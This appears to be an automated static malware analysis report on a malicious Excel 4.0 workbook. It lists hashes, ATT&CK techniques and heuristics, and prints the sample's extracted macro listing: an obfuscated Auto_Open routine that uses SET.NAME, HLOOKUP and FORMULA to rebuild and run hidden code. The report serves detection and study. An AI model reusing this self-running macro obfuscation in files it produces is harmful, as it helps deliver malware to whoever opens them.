Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 821d26003c3bc2eb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:11 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 3d5cc7c2baef1a8d2e2e8d72b6b8e3f5 SHA-1: 024ad5add439b83f82003129ec0e3f366f54e5a0 SHA-256: 821d26003c3bc2ebb43b167fddcbdcdaabe465ecab375de67b3544cdd6f96590
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open macro. This macro is designed to automatically execute upon opening the workbook, indicating a malicious intent to run arbitrary code. The presence of dangerous formula APIs like RUN suggests the macro is intended to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6492 bytes
SHA-256: 75c5642fe095fb3786c429b460efc630bf64335f00c72b6c8f0a6347e08af035
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  aqChk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A185 
' 0018     20 LABEL : Cell Value, String Constant - bhdoM len=0 
' 0018     25 LABEL : Cell Value, String Constant - cmoytUvOCu len=0 
' 0018     21 LABEL : Cell Value, String Constant - dDsatN len=0 
' 0018     20 LABEL : Cell Value, String Constant - eJixP len=0 
' 0018     22 LABEL : Cell Value, String Constant - fyIwVIj len=0 
' 0018     26 LABEL : Cell Value, String Constant - hZrNdNmjcig len=0 
' 0018     20 LABEL : Cell Value, String Constant - iOKQt len=0 
' 0018     23 LABEL : Cell Value, String Constant - JMoMYMfk len=0 
' 0018     26 LABEL : Cell Value, String Constant - KafBmbHVWkG len=0 
' 0018     20 LABEL : Cell Value, String Constant - KaOYH len=0 
' 0018     26 LABEL : Cell Value, String Constant - mbjvjpgimXI len=0 
' 0018     26 LABEL : Cell Value, String Constant - mQlUNOwQElK len=0 
' 0018     27 LABEL : Cell Value, String Constant - NHDsjsCNZkVu len=0 
' 0018     25 LABEL : Cell Value, String Constant - oXimqyaVfa len=0 
' 0018     25 LABEL : Cell Value, String Constant - QHTOswmBQl len=0 
' 0018     20 LABEL : Cell Value, String Constant - TcVTg len=0 
' 0018     23 LABEL : Cell Value, String Constant - TZkxeTNz len=0 
' 0018     24 LABEL : Cell Value, String Constant - wTJQcwbBc len=0 
' 0018     22 LABEL : Cell Value, String Constant - xAoucYI len=0 
' 0018     26 LABEL : Cell Value, String Constant - yVTjeVIchUD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  aqChk,A97,"SET.NAME("hZrNdNmjcig",VALUE("0"))",""
'  aqChk,A100,"SET.NAME("TcVTg",hZrNdNmjcig)",""
'  aqChk,A102,"SET.NAME("JMoMYMfk",hZrNdNmjcig)",""
'  aqChk,A106,"SET.NAME("TZkxeTNz",COUNTA(wTJQcwbBc))",""
'  aqChk,A111,"SET.NAME("bhdoM",COUNTA(dDsatN))",""
'  aqChk,A116,[],""
'  aqChk,A118,"SET.NAME("eJixP","")",""
'  aqChk,A123,"TcVTg",""
'  aqChk,A125,"SET.NAME("xAoucYI",HLOOKUP("*",wTJQcwbBc,TcVTg,FALSE))",""
'  aqChk,A127,"iOKQt",""
'  aqChk,A129,"SET.NAME("fyIwVIj",hZrNdNmjcig)",""
'  aqChk,A133,[],""
'  aqChk,A138,"fyIwVIj",""
'  aqChk,A142,"mbjvjpgimXI",""
'  aqChk,A146,"mQlUNOwQElK",""
'  aqChk,A149,"NHDsjsCNZkVu",""
'  aqChk,A152,"SET.NAME("oXimqyaVfa",VALUE(HLOOKUP("*",dDsatN,NHDsjsCNZkVu,FALSE)))",""
'  aqChk,A157,"QHTOswmBQl",""
'  aqChk,A160,"eJixP",""
'  aqChk,A164,"JMoMYMfk",""
'  aqChk,A167,NEXT(),""
'  aqChk,A169,"cmoytUvOCu",""
'  aqChk,A172,"SET.NAME("f",INT(T(FORMULA(T(eJixP)&"",""&T(cmoytUvOCu)))))",""
'  aqChk,A174,"yVTjeVIchUD",""
'  aqChk,A177,NEXT(),""
'  aqChk,A181,RETURN(),""
'  aqChk,A205,"SET.NAME("KaOYH",A97)",""
'  aqChk,A208,"wTJQcwbBc",""
'  aqChk,A210,"SET.NAME("dDsatN",R76C12)",""
'  aqChk,A214,"SET.NAME("yVTjeVIchUD",222)",""
'  aqChk,A217,"SET.NAME("KafBmbHVWkG",1)",""
'  aqChk,A221,KaOYH(),""
'  aqChk,A222,HALT(),""

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